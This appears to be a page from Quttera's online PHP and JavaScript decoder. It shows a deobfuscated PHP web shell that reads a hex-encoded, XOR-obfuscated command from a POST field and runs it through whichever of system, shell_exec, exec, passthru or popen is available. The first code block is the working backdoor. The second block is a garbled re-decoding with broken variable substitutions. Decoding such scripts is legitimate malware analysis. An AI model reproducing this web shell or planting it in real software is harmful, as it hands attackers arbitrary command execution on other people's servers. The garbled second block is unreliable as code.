Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

//<PHPDATA>cmd_xor;87;value</PHPDATA>
$_0="pclose";$_1="passthru";$_2="popen";$_3="hex2bin";$_4="shell_exec";$_5="stream_get_contents";$_6="exec";$_7="system";if(isset($_POST["value"])):function _dhBUlp($_8,$_9){$_10="";foreach(stR_sPlIt($_8) as$_11):$_10.=CHr(OrD($_11)^$_9);endforeach;return$_10;}$_12=$_3($_POST["value"]);$_12=_DHBULP($_12,(int)rOund(43.5+43.5));if(fUNCTiON_exIStS($_7)):$_7($_12);elseif(FUnctIoN_EXIStS($_4)):print$_4($_12);elseif(fUncTIon_EXisTs($_6)):$_6($_12,$_13);print JOIn("
",$_13);elseif(functION_eXists($_1)):$_1($_12);elseif(fUnCtiON_EXIsts($_2)&&fuNctioN_exists($_5)&&functiOn_exists($_0)):$_14=$_2($_12,"r");if($_14):$_15=$_5($_14);$_0($_14);print$_15;endif;endif;exit;endif;

//<PHPDATA>cmd_xor;87;value</PHPDATA>
if(isset($_POST["value"])):function _dhBUlp($_8,$_9){"passthru"0="";foreach(stR_sPlIt($_8) as"passthru"1):"passthru"0.=CHr(OrD("passthru"1)^$_9);endforeach;return"passthru"0;}"passthru"2="hex2bin"($_POST["value"]);"passthru"2=_DHBULP("passthru"2,(int)rOund(43.5+43.5));if(fUNCTiON_exIStS("system")):"system"("passthru"2);elseif(FUnctIoN_EXIStS("shell_exec")):print"shell_exec"("passthru"2);elseif(fUncTIon_EXisTs("exec")):"exec"("passthru"2,"passthru"3);print JOIn("
","passthru"3);elseif(functION_eXists("passthru")):"passthru"("passthru"2);elseif(fUnCtiON_EXIsts("popen")&&fuNctioN_exists("stream_get_contents")&&functiOn_exists("pclose")):"passthru"4="popen"("passthru"2,"r");if("passthru"4):"passthru"5="stream_get_contents"("passthru"4);"pclose"("passthru"4);print"passthru"5;endif;endif;exit;endif;



© 2023 Quttera Ltd. All rights reserved.